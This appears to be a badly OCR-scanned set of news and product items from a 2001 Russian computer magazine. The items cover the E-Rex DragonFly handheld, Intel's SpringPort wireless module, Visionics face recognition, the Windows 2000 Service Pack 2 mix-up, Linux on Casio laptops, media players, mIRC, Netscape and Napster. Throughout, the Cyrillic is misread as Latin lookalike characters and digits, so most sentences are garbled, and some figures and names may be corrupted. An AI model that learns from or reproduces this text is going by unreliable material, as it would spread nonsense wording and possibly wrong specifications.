rpaHMHeHHoe KO/iMnecTBO yHMKa/ibHbtx aApecoB. 



E-Rex 

Mo6i4/ibHbm ocJjmc DragonFly 

Pa3pa6oTaHHbm KOMnaHMeii E-Rex DragonFly, cno- 
co6eH pa6oiaTb He mnbKO c 1/lHTepHeiOM m ocJdmc- 
HblMM npMJlOWeHMflMM, HO M BbinOJlHflTb (JjyHKAMM 
ABeTHoro npMHTepa m CKaHepa. CKopocTb npMHTepa 
cocTaB/meT 5 CTpaHM a b m m H yiy npM 4epHO-6e/iOM 
m/im 2 npM ABeTHOM nenaTM. 5e3 noA3apnAKM aKKy- 
Myn^TopoB oh MOweT HanenaiaTb 200 HepHO-6e/ibix 
dpaHM a . KoMnbiOTep ocHaiueH MOiAHbiM npoAec- 
copoM Intel StrongArm 206 MTa m 32 M6aiiT one- 
paTMBHOM naMATM, a TaK>Ke ot 48 ao 440 M6aMT 
Flash-n3Y. LlBeTHOM touch-screen Dragon'a MMeeT 
pa3Mepbi 4 Ha 3 AK)MMa. Mo6M/ibHbtM ocJdmc pa6oia- 
eT noA ynpaB^eHMeM onepaAMOHHOM CMdeMbi 
Windows CE 3.0. FIommmo Bcex BbiwenepeHMC/ieH- 
HblM AOCTOMHCTB CTOMT ynOMfl HyTb BCTpOeHHytO 
noAAep>KKy 6ecnpoBOAHbix ceieii Proxim 7400 
Wireless LAN n BcrpoeHHbiM MOAeM Novatel. Becm 
DragonFly 2,3 KM/iorpaMMa npM pa3Mepax 
299,7x60,9x236,2 mm. 



Intel 

SpringPort 

Wireless Ethernet Module 

Intel npeACTaBM/ia Aono/iHeHMe k Handspring Visor, KOTopoe 
no3BO/meT no/iynaTb AOdyn k nporpaMMaM n ashhum pacno/io- 
>KeHHbiM b ceTM, BK/noHan 6poy3epbi, aneKTpoHHyio noniy n (}DaM- 
jibi. SpringPort Wireless Ethernet-MOAynb 53B/i^eTC^ nepBbiM 6ec- 
npoBOAHbiM ycTpoMCTBOM pea/iM3aAMM noKanbHOM ceTM p,nn 
pyHHbix KOMnbtoiepoB Visor. 3 to nepBbiM npoAyKT, aHOHCMpo- 
BaHHbiM noc/ie toto, KaK Intel b Mae nomoTM/i Xircom. MoAynb 
BCTaB/meTcn b pa3-beM paounpeHna Springboard, KOTopbm Haxo- 
AMTC51 c o6paTHOM CTopoHbi Handspring Visor. Oh no3BO/meT npo- 
KaHMBaTb MH(}DOpMaAMIO CO CKOpOCTbtO 11 M6 mt/c Ha paCCTOflHMM 
90 MeipoB ot 6nM>KaMiijero xa6a m^m tohkm cbji3m WLAN. MoAy/ib 
nOnHOCTbtO COBMeCTMM C BbICOKOCKOpOCTHbIM CT3HAapT0M IEEE 
802.11b M MO>KeT pabOTaTb C CepTM(}DM AMpOBaHHbIMM npOAyKTaMM 
Wi-FiTM BKmonaioiAMMM Xircom Wireless Ethernet Access Point n 
Intel PRO/Wireless 2011 LAN. Yctpomctbo y>Ke AOCTynHO no Aene 
MeHee $300. 


Visionics 

MaujMHa y3HaeT Bauie nnuo 

CeMHac cyiuecTByeT MHO>KecTBO TexHO/iorMM, npM3BaHHbix mach- 
tmc|dm AM poBaTb nenoBeKa no OTnenaTKaM nanbAeB, ronocy mjim Aa- 
>Ke no ceTHaTKe ma3a. Eiue OAHa MHTepecHaii pa3pa6oTKa b 3tom 
o6nacTM 6bma npeACTaBneHa (})npMOM Visionics. Mx pa3pa6oTKa 
nonyHMna H33BaHne Faselt, m OHa no3Bon5ieT ono3HaBaTb nenoBe- 
Ka no (fDOTorpa^MM, MMeioiAeMCfl b 6a3e AaHHbix. 

M3o6pa>KeHMe jim A a npeo6pa3yeTC^ b Ha6op KOHTponbHbix napa- 
MeTpoB. ripoxoA^iAeMy MAeHTMcfDMKaAMio nenoBeKy AOcraTOHHO 
HaxoAMTbCJi y KaMepbi Bcero HecKO/ibKO cexyHA, 4To6bi nporpaM- 
Ma «y3Ha/ia» ero. FIommmo 6 bi crp o ag m ctb m a, y CMCTeMbi ecTb eiue 
oaho npeMMyiAecTBo: OTnenaTOK nviu,a b naM^TM 33HMMaeT He do- 
nee 100 K6aMT. BBecTM KOMnbtOTep b 3a6ny>KAeHMe, M3MeHMB 
cbom obnMK, npaKTMHecKM 6ecnone3Ho. fla>Ke, ecnM Bbi OTpacTMTe 
6opoAy, KOMnbtOTep Bee paBHo Bac pacno3HaeT. 06nacTM npMMe- 
HeHMn hobom CMCTeMbi MoryT 6biTb BecbMa o6mMpHbi: ot Mccne- 
AOBaHMn TpaHcnopTHoro noTOKa b MeTpo ao po3bicKa npecrynHM- 

KOB. 
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flMCK «CBfl3b 2001» 

CBjDKMTecb c t|)ejibA-berepeM 

KoMnaHMA «Meflna-CepBMC 2000» BbinycTM/ia mh- 
TepecHbm npoflyKT: amck nofl Ha3BaHMeM «CBA3b 
2001», KOTopbiM nocB^meH BonpocaM cba3m Ha 
TeppmopMM PO. Ha HeM co6paHbi AOKyMeHTbi, Ka- 
catoiMMecfl BonpocoB, CBA3aHHbix c npeAOcraBjie- 
HMeM ycnyr Te/ierpac^HOM, Te/iecfiOHHOM, noHTOBOM, 
(jDe/ibfl-berepbCKOM (Bbi npo TaKyio c/ibima/iM ?) m 
Apymx BMflOB CBJ13M KaK (|DM3MHeCKMM, TaK H K)pM- 
flMHecKMM /iMuaM. KpoMe Toro, Ha flMCKe npefl- 
CTaB/ieHbi npaBM/ia OKa3aHMn ycnyr cba3m m iapn- 
4)bi Ha h mx. Taione paccMOTpeHbi Bonpocbi jiMijeH- 
3npoBaHMfl AeflTe/ibHocTM b od/iacTM ycnyr cba3m. 
Amck MO>KeT OKa3aTbC5i no^e3HbiM b KanecTBe 
cnpaBOHHOM CMdeMbi p,nn npeflnpMHMMaTe^eM, py- 
KOBOflme^eM npeAnpMATMM, 6yxra/iTepoB, MeHefl- 
>KepOB M npOCTO (})M3MHeCKMX J1MLJ. A MO>KeT h He 
OKa3aTbCA. 


CHIP MKDHb 2001 


Windows 2000 Service Pack 2 

ripOKpa/lCfl He 33 MeTHO... 

3a6aBHan CMTyauMn cnyHM/iacb c Aonro>KAaHHbiM SP2 ftna Windows 
2000. no MHeHMio MHomx no/ib30BaTe/ieM, Hani/iHaTb padoTaTb c niodbiM 
npoflyKTOM Microsoft mo>kho ranbKO nocne Bbixofla Service Pack 2, Tax 
hto Bbixofl «3annaTOK» pj \ s \ Windows 2000 owMAa/iCfl c HeiepneHMeM. M 
bot 13 Man b klHTepHeie nonBM/iacb Aonro>KAaHHafl MHcfiopMauMn — 
Service Pack 2, npaBfla TO/ibKO aHmMMCKan BepcMn, Bbiiue/i! HanpMMep, 
Ha came www.km.ru yKa3biBa/ioi Aawe aflpec, no KOTopoMy mo>kho dbi- 
jio ero CKanaib. yKa3biBajicn m TOHHbm pa3Mep ct)aM/ia — 101 M 6 aMT. 
Pa3Mep «flono/iHeHMM m yTOHHeHMM» BneHaT/m/i. OcraBMM b CTopoHe 
Bonpoc o tom, HacKO/ibKO 3TMHHO BbinycKaTb «b CBeT» onepauMOHHyio 
cm ere My, k KOTopoM nepe3 rofl bwxoamt TaKOM cro/ib BHyujmenbHbm 
«AOBecoK». 3aflyMaeMcn /lynme o tom, cKO/ibKO BpeMeHM 3aMMeTy 
pflAOBoro nojib30BaTe/m CKaHMBaHMe Bcero 3Toro 6 oraTCTBa. 

Mbi pemM/iM yTOHHMTb MHC^opMauMio b poccmmckom OTAe/ieHMM kom- 
naHMM Microsoft. Ha caMTe www.microsoft.com/rus/ \ia\ian-nv\6o 

MHCflOpMaUMfl 06 3TOM paflOCTHOM COdbITMM no COCTOflHMIO Ha 
14 Man 2001 rofla OTcyTCTBOBa/ia. 

PeiiJMB, hto «noHefle/ibHMK — fleHb Tn>KejibiM» m HOBOCTb npocTO He 
ycne/iM Bbmo>KMTb Ha caMT, Mbi no3BOHM/iM b Microsoft. MM/ian fle- 
ByiiJKa BHMMaTe/ibHO Bbicnyma/ia Ham Bonpoc m nocoBeTOBa/ia 06- 
paTMTbcn b cny>K6y TexHMHecKOM noAAep>KKM, rfle HaM KaTeropunec- 
km OTBeTM/iM, hto Service Pack 2 p,j\n Windows 2000 He BbixoflM/i. 
l/lHcfiopMauMn Ha 3KpaHe MOHMTopa, TeM He MeHee, roBopM/ia 06 06- 
paTHOM. Aflpec http://downLoad.microsoft.com/downLoad/ 
win2000pLatform/sp/sp2/nt5/en-us/w2ksp2.exe comhchmm He Bbi- 
3biBan. Ha npeA/ioweHMe nepecnaTb ccbuiKy c hobocthoto cama 
Ana npoBepKM MHcfiopMauMM nocneflOBan paBHOflymHbm otbct: 
«CnacM6o, He ctomt». 

noflyMaB, hto Hac He noHn/iM, nepe3BaHMBaeM CHOBa m yTOHHneM y 
TOM >Ke MMJIOM fleBymKM, HTO peHb MfleT 06 aHT/lMMCKOM BepCMM, HO 
xoTenocb 6bi Bee >Ke nonyHMTb MHcfiopMauMio «M3 nepBbix pyK». fle- 
Bymxa npefl/iaraeT noMCKaTb Ha pyccKOM caMTe Microsoft, a kotas 
y3HaeT, hto TaM MHcfiopMauMfl OTcyTCTByeT, c >Ke/ie3HOM jiotmkom co- 
BeTyeT: «Hy, TorAa noMiAMTe Ha HepyccKOM». 
nocne 3Toro Ha came www.microsoft.com Mbi nojno6oBajiMCb Ha 
KpacMBbie nacMKM, OTCHMTbiBaioiAMe BpeMji, ocraBweecfl ao ocjiMAM- 
anbHOM npe3eHTauMM Windows XP. CyAfl no BceMy, sto MeponpMjiTMe 
odeiuaeT npeBpaTMTbcyi b rpaHAM03Hoe moy, nocKonbKy b npoABM- 
>KeHMe hobom onepauMOHHOM CMCTeMbi Bno>KeHbi orpoMHbie AGHbrM. 
3BOHMTb B pOCCMMCKOe OTAe/ieHMe Microsoft M yTOHHJITb 3Ty MHCfDOp- 
MauMio Mbi He pemMnMCb. ■ ■ ■ 


ABTOMo6n/ibHan 3H4MK/ioneflMn 

KaTaTboi n io6miib? 

0 ne^OBexe mo>kho cyAMTb He mnbKO no 
OAe>KKe, ho m no ero MamMHe. Tax hto 
B bidop CBoero BToporo «nMua» — Ae/io 
He^erKoe. ABTOMo6M^bHa^i 3Hi4MK/ione- 
AMfl nOA Ha3B3HMeM «ABTOcanoH mho- 
MapoK», BbinyiAeHHbiM 000 «PaBHOBe- 
CMe-MeAMa», ycnaAMT Bam B3op KpacM- 
BblMM M306pa>KeHMflMM BCeB03M0>KHblX 
MamMH m no3BO/iMT BbidpaTb ce6e 
TpaHcnopTHoe cpeACTBO, mcxoaji m 3 Ba- 
mero BKyca (maBHoe, HTodbi oh y Bac 
6bm) M Ha/lMHMfl AGHe>KHblX CpeACTB. 
Amck coagp>kmt CBbime 8000 MOAe^eM 
aBTOMo6MneM 1988-1999 toaob Bbinyc- 
Ka, MX TexHMHecKMe xapaKTepMCTMKM, 
AeHbi, KOTopbie yKa3aHbi b HeMeuKMx 
Mapxax. HaBepHoe, HTodbi Bbi He 3acxy- 
nanM. XoT5i CKynaTb He npMAGTCJi: b sh- 
AMK/ioneAMM co6paHa KonneKUM^i M3 do- 
nee neM 1000 4ioto (16 m/ih ABeTOB), a 
T3K>Ke XyAO>KeCTBeHHblX chmmkob. Pa3- 
padoTaH MexaHM3M noMCKa nomo6biM 
napaMeTpaM aBTOModMnn: Mapxe, Tex- 
HMHeCKMM XapaKTepMCTMKaM, rOAy Bbl- 
nycxa m HeKOTopbiM ApyrMM. Yao6ho op- 
raHM30BaHbi pe>KMM npocMOTpa m Mexa- 
HM3M coptmpobkm pe3ynbTaTOB noMCKa. 
Bee 3to agmctbo npoMcxoAMT Ha cjooHe 

HeHaBJ13HMBOM My3blKM. TaK HTO BaM OC- 
TaeTcn TonbKO CMAeTb m BbidnpaTb Ma- 
mMHy CBoeM MeHTbi. EcnM, kohchho, sto 
H e «>KMrynM» m/im «Mockbmh». 
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Windows n Linux BMecre 

nonbiTKa noflpy>Kmb Kouixy c co 6 axoM 

rioKa KopnopaqMfl Microsoft MeneT rpoMbi m mo/ihmm b aflpec Linux-co- 
o6iuecTBa, npon3BOflmenn KOMnbiOTepoB HaHi/matOT npeflyciaHaB/iMBaTb 
3Ty «anbiepHaTMBHyio» onepaqMOHHyio CMcreMy Ha cbom HOBbie MOAe/iM. 
Tax, k npmviepy, KOMnaHMji Casio pemmia yqoB/ieTBopMTb 3anpocbi m 
«cpeflHero» no/ib30BaTe/m Windows, m /no6MTe/ieM Linux, ycraHOBMB Ha 
CBoen hobom MOAe/in Fiva MPC-206E cpa3y flBe onepaqnoHHbie cncre- 
Mbi: Windows Me n Linux. ripaBfla, 6o/ibWMHCTBO npn/io/KeHnn Bee >Ke 
paccnmaHo Ha ncno/ib30BaHne Windows, oflHaKO Bocnpon3BefleHne 
MP3 n pa6oia c HexoTopbiMM flpyrmvm BMAaMM (fian/iOB npeflnoHTmenb- 
Hee ocymecTB/iflTb b Linux. OflHaKO no/iHocrbio pa6oTOcnoco6Hyio Bep- 
cuio Linux KOMnaHMA Bee we ycraHaB/mBaTb He pewn/iacb, orpaHMHMB- 
LUMCb HeCKO/lbKMMM KOMnOHeHTaMM, n03B0/Ul lOLAM MM 3anyCKaTb MMHMMyM 
npn/ioweHnn. 

Bee 3to roBopMT o padyiueM nony/mpHocrn Linux. Ten/ibie nyBCTBa k 
«nMHrBMHHMKaM» npofleMOHCTpupoBa/ia flawe Kopnopaqnfl IBM, pa3y- 
KpacMB TpoTyapbi Huxaro m CaH-OpaHqncKO mx M3o6pa>KeHMflMM b xofle 
pex/iaMHOM KaMnaHMM. ripaBfla, He o6oui/iocb 6e3 K0H(})y3a. Kpacxa, ko- 
Topyio nocHMTa/iM zierKO CMbiBaeMon, 0Ka3a/iacb Bno/iHe boaoctomkom. 
Tax hto Tenepb IBM BbmywAeHa «OT/iaB/iMBaTb» HapncoBaHHbix nnHTBM- 
hob m on/iaHMBaib pacxoflbi no mx ziMKBMflauMM. KpoMe toto, 3a Ka/KAbin 
pMcyHOK Ha KopnopauMio Ha/io>KeH LUTpac^. 

Ha (})OHe pacrymeM nony/mpHocrn Linux AOCTaTOHHO CBoeo6pa3HO 
BbimflAHT MHcJiopMauMji o n/iaHax Microsoft M3MeHeHMji npaBM/i /im- 
ueH3MpoBaHM/i p,nn KpynHbix KopnopaTMBHbix no/ib30BaTe/ien. no 
3tom MHcfiopMauMM OTHbme no/ib30BaTe/mM npMAeTC/i nepe3aK/noHaTb 
/iMAeH3M0HHbie comauieHM/i no ncTeneHnn epoxa mx agmctbmji. Ec/im 
3Ta M H(J)OpMai4M51 nOATBepAMTCJl, TO n0/lb30Baie/lM npOAyKTOB 
Microsoft M3 codcTBeHHMKOB npeBpaiuaiOTC/i b apeHAaiopoB npo- 
rpaMM. 3ia MHcfiopMauM/i, npaBAa, Bno/iHe cooTBeTCTByei Ayxy CTpa- 
TerMM .NET, o KOTopon y>Ke He pa3 roBopM/iocb. Ec/im Microsoft Aen- 
CTBMTe/ibHo 6yAeT npeAOCTaB/i/iTb no/ib30Baie/i/iM HeodxoAMMbie p,nn 
padoTbi cepBMCbi nepe3 1/lHTepHei, c mx noBpeMeHHon on/iaTon, to 
M3MeHeHMe yC/lOBMM /lMAeH3MpOBaHM/l MO)KeT 6blTb «nepBOM npo- 
6om», CBoeo6pa3HOM o6k3tkom ue/iecoo6pa3HocTM Taxoro noAxoAa. 
C/ieAyeT 3aMeTMTb, hto ocfiMAna/ibHo KOMnaHM/i Microsoft 06 M3MeHe- 
hmm yc/iOBMM /iMAeH3npoBaHMji noxa He coo6iAa/ia. 




A/ibTepHaTMBbi Windows Media Player 

HeM ziymue CMOTpeTb? 

KoMnaHM/i Apple Bbinycrn/ia cbom HOBbin 
n/ienep QuickTime (www.apple.com/ 
quicktime) — otbct Windows Media Player. 
MoiAHbm My/ibTMMeAMa-n/ieep no3BO/meT boc- 
npOM3BOAMTb He TO/lbKO MP3-(f)an/lbl, HO M 
Timecode-TpeKM, (fian/ibi MIDI-CTaHAapTOB, a 
Taione ocymecTB/meT noTOKOByio TpaHC/munio 
nepe3 1/lHTepHeT. QuickTime «noHMMaeT» 
cfiopMaTbi rpacfiMHecKMx cfian/iOB xax A/m PC, 
Tax m p,nf\ Mac, HanpMMep JPEG, BMP, PNG, 
GIF, PICT, m MMeeT BcrpoeHHyio noAAepwxy 
qncfipoBoro BMAeo. HoBa/i Bepcn/i n/ieepa 
MMeeT oneHb npn/iTHbin m yqobHbin MHTep- 
cj/enc, hto CBOMCTBeHHO BceM nporpaMMaM 
A/m Mac, KOTopbm mo>kho zierKO MeH/iTb c no- 
MOlAbK) OpMTMHa/lbHblX «CKMHOB». 

Ec/im >Ke Bam KOMnbtOTep othocmtca k pa3pa- 
Ay «CTapMHKOB», to BaM noMO>KeT nporpaMMa 
Global DiVX Player 1.8.5 — T3K>Ke AOcraTOH- 
ho yAaHHa/i 3aMeHa CTaHAapTHOMy ycTponcr- 
By Windows. B ochobhom 3Ta nporpaMMa 
npeAHa3HaneHa p,nn BOcnpoM3BeAGHM5i DiVX- 
4iM/ibM0B. OAHaKO c ee noMombio mo>kho 
npocMaTpMBaTb m cjoaM/i bi b cf/opMaTax AVI, 
nAVI, MPEG, VCD, n Apyrnx. nporpaMMa He 
Tpe6yeT moiahoto npoqeccopa A/m paboTbi, 

He 33HMMaeT MecTO Ha naHe/in ynpaB/ieHM/i m 
npM >Ke/iaHMM CBopanuBaeTC/i b System Tray. 
BbixoA^T m HOBbie BMAeon/ienepbi p,nn OC 
Linux, HanpMMep HOBa/i BepcM/i nponrpbiBa- 
Te/m xmovie 1.7. nporpaMMa MO>KeT boc- 
npOM3BOAMTb c|DaM/l bl (JiopMaTOB MPEG-1, 
MPEG-2, AVI, DVD, Quicktime. OAHaKO ctomt 
ynoM/iHyTb, hto, no 0T3 bi BaM mhotmx no/ib30- 
BaTe/ieu, 3Ta nporpaMMa — He caMoe yAan- 
Hoe HOBmecTBO m pa6oTaeT AOCTaTOHHo MeA- 
ZieHHO. 

Bee onMcaHHbie nporpaMMbi 6ecn/iaTHbi, Tax 
HTO n0/lb30BaTe/lb MO)KeT CaM epaBHMTb M Bbl- 
6paTb, hto eMy 6o/ibme noAxoAMT. 


c 



RealArcade 

Mrpbi — Ae/io cepbe3Hoe 

KoMnbiOTepHbie m rpbi a3bho npeBpaTM- 
/iMCb b BbicoKOAOxoAHoe npeAnpM/iTMe. 
3Ty MCTMHy He 3a6bi/ia m KOMnaHM/i 
RealNetworks, BbinycTMBma/i cboio pa3pa- 
6oTKy noA Ha3B3HMeM RealArcade cneqM- 
a/ibHO A-n^ reMMepoB. 3Ta nporpaMMa 
no3BO/meT HaxoAMTb m rpbi b 1/lHTepHeTe, 
CKaHMBaTb MX M yCTaHaB/lMB3Tb Ha KOM- 
nbiOTep. KpoMe Toro, 3Ta hobmhk3 BeAeT 
peecTp Bcex ycraHOB/ieHHbix Mrp, hto cy- 
mecTBeHHO 06/ierHMT >KM3Hb norpy>KeH- 
HOMy b MCTpe6/ieHMe mohctpob m/im nocT- 
poeHMe MMnepMM MrpoKy. 
klTax, BC/ieA 3a /nobMTe/i/iMM My3biKM no- 
ziynaiOT Bee 6o/iee mMpoKMe bo3mo>khoc- 
tm A/ifl noMCKa m /no6MTe/iM Mrp. 
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JlK)6fiTe;i?iM aBiiauMM 

He B3/ieTMM, TaK noio3aeM 

HaBepH^Ka cpeflM HawMx HMTaTe/ieM ecib juo6meniA bochhom 
mctopmm, fla>Ke 6o/iee KOHKpemo — mctopmm bochhom aBMa- 
\\ m , fla m mhotmm flpyrMM stot npoflyKT MO>KeT npMroAMTbca, 
HanpMMep A-nfl noflroTOBKM pecjDepaia mjim o(|)opM.neHMM Ka- 
Koro-Hn6yAb npoeKTa. KoMnaKT-AMCK «BoeHHafl aBMaqMfl», 
C03flaHHbiM KOMnam/ieM «Meflna-cepBMC 2000», npeACTaB/meT 
C 060 M M/l/ltOCTpi/ipOBaHHbm aBMaUMOHHblM cnpaBOHHMK no 
BoeHHOM aBnapnn m coflep>Km MHcfDopMaqMio 6o/iee neM 0 
500 o6pa3uax BoeHHbix caMO/ieTOB m Bepio/ieTOB Bcex cipaH 
mm pa, HaHMHaa c nepMOfla nepBOM mmpobom bomhu m 3aKaH- 

HMBafl caMbiMM noc^eflHMMM nepcneKTMBHbiMM pa3pa6oTKaMM, 
KOTopbie eme mnbKO n/iaHMpyiOTCfl k npMHfiTMio Ha Boopywe- 
HMe, T3KMMM K3K aMepMK3HCKMM MCTpe6MTe/lb BepTMKaJlbHOTO 
B3/ieTa m nocaflKM X-32 m OTenecTBeHHoro Mcrpe6MTe/m c 
KpbmoM o6paTHOM CTpe/iOBMflHOCTM 0KB mm. Cyxoro C-37. 
CnpaBOHHMK MMeeT 6o/iee 4000 M/i/nocrpauMM caMO/ieTOB m 
BepmneTOB, 6o/iee 50 nepTeweM, npeAHa3HaneHHbix pj\a pac- 
nenaTKM (300 dpi), a TaK>Ke KO/meKUMio BbicoKOKanecTBeH- 
Hbix no/iH03KpaHHbix (1024x768) 4)OTorpa(}DMM no aBMauMOH- 
HOM TeMaTMKe. 


Intel Processor Frequency ID Utility 3.5 

npoBepbie cbom npoueccop 

To, hto HeKOTopbie Heflo6pocoBecTHbie npoflaBUbi «pa3roHa- 
k)t» npoqeccopbi, — He HOBOCTb. EciecTBeHHO, TaKoe no/io- 
>KeHMe Ae/i He MO>KeT ycipaMBaib npoM3BOAMTe/ieM npoqecco- 
poB. 3a6oT^cb o CBoeM ao6pom mmchm, KOMnaHMA Intel Bbiny- 
CKaeT o6HOB^eHMe CBoeM nporpaMMbi Intel Processor 
Frequency ID. C noMOiAbio stom yTM/iMTbi no.nb30BaTe.nb MO>KeT 
tohho onpeAe/iMTb, KaKOM TMn npoqeccopa ycraHOB/ieH b ero 
ManiMHe, a p,nt\ HeKOTopbix TMnoB npoqeccopa m npoBepMTb Ha 
KaKOM nacTOTe oh Ha caMOM Aejie pa6oiaei, m cooTBeTCTByei 
Jl M 3Ta HaCTOTa peKOMeHAOBaHHOM npOM3BOAMTe/ieM. 

B hobom BepcMM Ao6aB/ieHa MAeHTMcjDMKaqMfl HOBbix npoqec- 
copoB Intel Pentium 4, Pentium III, Mobile Pentium III c Tex- 
Ho/iomeM SpeedStep. OnpeAe/iMTb, He «pa3orHa/iM» jim Barn 
npoqeccop, mo>kho HaHMHan c Pentium III. nporpaMMa Bbiny- 
CKaeTCA b Aeyx BepcM/ix — Windows m bootable. Bootable- 
BepCMfl He 33BMCMT OT OnepaqMOHHOM CMCTeMbl M MO>KeT 3a- 
rpywaTbcn, HanpMMep, c AUCKeTbi. Tax hto, Bbi MO>KeTe npoBe- 
pMTb, He BcyHM/iM jim BaM KaK roBopM/i K/iaccMK «ropa3AO jiyn- 
LUM M Mex». 



mlRC m no KOMnaHMM SurfControl 

06iAaiiTecb, ho TO/ibKO b CBo6oflHoe BpeMB 

BbiLU/ia HOBaji BepcM/i mlRC (mlRC 5.9) oahommchhom cjoMpMbi (www.mirc.co.uk), npo- 
rpaMMbi A-nfl o6iAeHMA b IRC (Internet Relay Chat) — MHoronojib30BaTe/ibCKOM CMdeMe, 
b kotopom ynacTHMKM obiAaiOTCfl Ha cneqMa/ibHbix KaHa/iax. C ee noMOiAbio Bbi MO>Keie 
noAKmoHaibCJi k KaHa/iaM, KOTopbie Bac MHTepecyiOT, m npoM3BOAMTb mx (}DM/ibTpai4Mio. 
nporpaMMa noAAep>KMBaeT npoTOKO/ibi DCC m CTCP, c ee noMOiAbio mo>kho no/iynaTb m ot- 
npaB/iflTb (fiaMnbi, BbiAe/mTb abctom cf/pameHTbi coobmeHMM. l/l3MeHeHM/i b hobom BepcMM 
KacaiOTC^ b ochobhom cf/yHKqMM no/iyneHMa m ompaBKM 4)aMjiOB, KpoMe toto, AobaB/ieHa 
3aiAMTa ot flood-aia k, y/iynnieHa aApecHa/i KHMra. Ctomt HOBa/i BepcMfl nporpaMMbi $20. 
mlRC noHMMaeT TpM /i3biKa: aHmMMCKMM, HeMeqKMM m pyccKMM. 

A b npoTMBOBec >Ke/iaHMio nojib30BaTejieM noobiAaTbai m/im nobpoAMTb no caMTaM (oco- 
6eHHO b pabonee BpeM/i) KOMnaHM/i SurfControl obtABM/ia o no/iyneHMM naTeHTa Ha no 
A/ifl 6 jiokmpobkm AOCTyna k caMTaM. KoMnaHM^ 3aflB/meT 06 yHMKa/ibHocTM CBoeM pa3pa- 
60TKM M npMBOAMT B AOKa3aTenbCTBO 3(|D(fDeKTMBHOCTM nOA06HblX TeXHO/lOTMM AaHHbie 0 
3HaHMTe/ibHOM pocTe npM6bmM no cpaBHeHMio c 1999 toaom. 


Netscape 

3amaHHbix /lOiuafleM npHcrpe/iHBaiOT? 

Bmammo, Bee xy>Ke nyBCTByeT ce6fl Netscape. Tax, HanpMMep, KOMnaHMM Red Hat o6'bJiBM- 
na o tom, hto cobMpaeTCA MCKmoHMTb 3tot 6poy3ep M3 CBoero AHCTpM6yTMBa. CBji3aH0 
3to, no-BMAMMOMy, He TO/ibKO c «HenoBopoT/iM BOCTbio» Netscape, ho m c aKTMBM3aqMeM 
pa3pa6oTOK 6poy3epa Mozilla, KOTopbm m cennac bxoamt b cocraB Red Hat. KpoMe toto, 
CM/ibHO yxyAUJMno no3MqMM Netscape m to, hto nojiB/i^iOTC^ yAaHHbie BepcMM Opera m 
Konqueror A/ifl Linux. I/I ecnM Opera, KaK m Netscape, a B/ meTCfl hmcto KOMMepnecKMM 
npoAyKTOM c 33KpbiTbiMM K0A3MM, to Konqueror pa3pa6aTbiBancyi HenocpeACTBeHHO 
Linux. KaK KOMMepnecKafl pa3pa6oTKa Opera, 6e3ycnoBHo, BbmrpbiBaeTy Netscape m no 
KOMnaKTHOCTM, m no ycTOMHMBOCTM pa6oTbi, a Konqueror 6ojibwe OTBenaeT MAeonorMM 
Linux-coobiuecTBa. fla m pa3pa6oTHMKM Mozilla obeiuaiOT, hto BepcMfl 1.0 AO/i>KHa BbiMTM 
oceHbio 3Toro roAa. 
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HoBafi TexHO/ioriifl Napster m Easy CD-DA Extractor 

K Bonpocy 06 aBTopcxiix npaBax 

noc/ie HeoflHOKpaTHbix cyfle6Hbix pa36npaTe/ibCTB KOMnaHM/i Napster 
(www.napster.com) oOt/iBn/ia 0 BBefleHnn hobom TexHO/iornn maghtm- 
c}DHKaunn My3biKa/ibHbix cf/aM/iOB Ha CBoeM canie. B Mapie 3Toro rofla 
KOMnaHM/i y>Ke 3aKpbma Aocryn k 6ecn/iaTH0My CKaHMBaHMio cf/aM/iOB, 
3amnmeHHblX aBTOpCKMMM npaBaMM, OflHaKO MAGHTM(f)MKaUMfl npOM3- 
BOAH/iacb no Ha3BaHmo cf/aii/iOB, neM He npeMMHy/iM BOcno/ib30BaTbc/i 
MHome jno6me/in My3biKM, c/ierKa BMA0M3MeH/m mx Ha3BaHMe. I1o3to- 
My b anpe/ie Napster 3aKynn/ia pa3pa6oTKy KOMnaHMM ReLatabLe, no3- 
BO/i/noiAyK) pacno3HaBaTb cfiaM/i, m npn hcoOxoammoctm 6/iOKnpoBaTb 
AOdyn k HeMy, He TO/ibKO no H33BaHMio, ho m no 3ByK0B0My pnpy. Mh- 
TepecHO, hto pacno3HaBaHne npoMcxoAMT, no c/iOBaM pa3pa6oTHMKOB, 
He3aBMCMM0 He mnbKO ot Ha3BaHM/i cj/aM/ia, ho m ot ero (J/opMaia. 

Ha (f)OHe 3T0M MH(f}0pMai4MM M AUCKyCCMM 0 CO6/UOAGHMM aBTOpCKMX 
npaB BOo6iAe oOt/iB/ieHMe 0 BbixoAe o6HOB/ieHM/i nporpaMMbi Easy CD- 
DA Extractor cj/MpMbi Poikosoft Bbir/iAAm KaK CBoeo6pa3Hbm «Haiu ot- 
BeT HeM6ep/ieHy». Ec/im roBopmb 0 TexHMHecKOM CTopoHe nporpaMMbi, 
TO 3T0 AeMCTBMTe/lbHO OT/lMHHbIM MHCTpyMeHT pa60Tbl C ayAMOCfiaM- 
/13MM. HanpMMep, OHa no3BO/meT KonnpoBaTb TpeKM He TO/ibKO c ay- 
AMO-CD, ho m c DVD-amckob. nony/mpHOCTM en Ao6aB/meT m to, hto 
nporpaMMa KoppeKTHo paboTaeT b /iio 6 om m3 coBpeMeHHbix Windows- 
CMCTeM (95/98/NT/2000) m noAAep/KMBaeT SCSI-2, SCSI-3 m ATAPI mh- 
Tepcf/eMCbi. B o6iueM, sto oneHb yAaHHbm rpa66ep KOMnaKT-AMCKOB. 
Pa3pa6oTHMKM He nowa/ie/iM cbomx cm/i, m b pe3y/ibTaTe Easy CD-DA 
Extractor yMeeT coxpaHATb no/iyneHHbie «Harpa6/ieHHbie» (fian/ibi b 
onaTOM (JiopMaTe, MMeeT MP 3 -koagp m agkoagp, noAAep>KKy VQF-cf/op- 
MaTa, paboTaeT c 6a30M CDDB. B hobom BepcMM T3K>Ke Ao6aB/ieHa bo 3- 
M0>KH0CTb KOAnpoBaHM/i m AGKOAMpoBaHM/i b OGG-cf/opMaTe, y/iyHiueHa 
noAAep>KKa Windows NT/2000, a Taione Ao6aB/ieHO HecKO/ibKO Apymx 
npM/iTHbix A-ns no/ib30BaTe/i/i Me/ioneM. 

Bee 3 T 0 , KOHeHHO, xopoiuo, OAHaKO B 03 HMKaeT Bonpoc, HaCKO/lbKO 
npMMeHeHMe stom nporpaMMbi CTOMMOCTbio, Me>KAy npoHMM, Bcero b 
$29,95 y/iyHLUMT no/io>KeHMe c co 6 /noAGHMeM aBTopcKnx npaB? npn 
ypOBHe 6 blCTpOAGHCTBMJl COBpeMeHHbIX KOMnblOTepOB M BbICOKOM Ka- 
necTBe noAo 6 Horo nporpaMMHoro odecneneHM/i cfiaKTMHecKM / 11060 M 
